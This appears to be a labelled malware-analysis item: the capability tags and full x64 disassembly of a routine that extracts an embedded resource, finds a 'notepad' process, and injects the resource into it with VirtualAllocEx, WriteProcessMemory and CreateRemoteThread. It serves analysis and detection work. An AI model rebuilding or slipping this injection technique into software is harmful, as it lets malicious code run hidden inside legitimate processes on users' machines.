Function at 0x140001030
Capabilities:
Create thread
Enumerate processes
Extract resource via kernel32 functions
Inject thread

Disassembly:
push rsi
push rdi
sub rsp, 0x2d8
mov qword [rsp + 0x60], 0
mov dword [rsp + 0x4c], 0
lea r8, [0x1400131e0]
mov edx, 0x66
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
jne 0x140001073
xor eax, eax
jmp 0x1400012b5
mov rdx, qword [rsp + 0x58]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov qword [rsp + 0x70], rax
cmp qword [rsp + 0x70], 0
jne 0x140001094
xor eax, eax
jmp 0x1400012b5
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_LockResource]
mov qword [rsp + 0x78], rax
cmp qword [rsp + 0x78], 0
jne 0x1400010b3
xor eax, eax
jmp 0x1400012b5
mov rdx, qword [rsp + 0x58]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [rsp + 0x48], eax
mov eax, dword [rsp + 0x48]
mov dword [rsp + 0x4c], eax
mov eax, dword [rsp + 0x48]
mov r9d, 4
mov r8d, 0x1000
mov edx, eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x60], rax
mov eax, dword [rsp + 0x48]
mov rdi, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x78]
mov ecx, eax
rep movsb byte [rdi], byte [rsi]
xor edx, edx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0xffffffffffffffff
jne 0x14000111e
xor eax, eax
jmp 0x1400012b5
mov dword [rsp + 0x90], 0x238
lea rdx, [rsp + 0x90]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
jne 0x14000115b
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x50], 0
xor eax, eax
jmp 0x1400012b5
lea rdx, [rsp + 0x90]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
je 0x14000129f
lea rdx, str.notepad
lea rcx, [rsp + 0xbc]
call fcn.140001000
test rax, rax
jne 0x140001191
jmp 0x14000115b
mov r8d, dword [rsp + 0x98]
xor edx, edx
mov ecx, 0x43a
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
jne 0x1400011b8
jmp 0x14000129f
mov eax, dword [rsp + 0x4c]
mov dword [rsp + 0x20], 0x20
mov r9d, 0x1000
mov r8d, eax
xor edx, edx
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x68], rax
cmp qword [rsp + 0x68], 0
jne 0x140001200
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x40], 0
jmp 0x14000129f
mov qword [rsp + 0x80], 0
mov eax, dword [rsp + 0x4c]
lea rcx, [rsp + 0x80]
mov qword [rsp + 0x20], rcx
mov r9d, eax
mov r8, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x14000124f
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x40], 0
jmp 0x14000129f
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, qword [rsp + 0x68]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rsp + 0x88], rax
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x40], 0
jmp 0x14000115b
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x50], 0
xor eax, eax
add rsp, 0x2d8
pop rdi
pop rsi
ret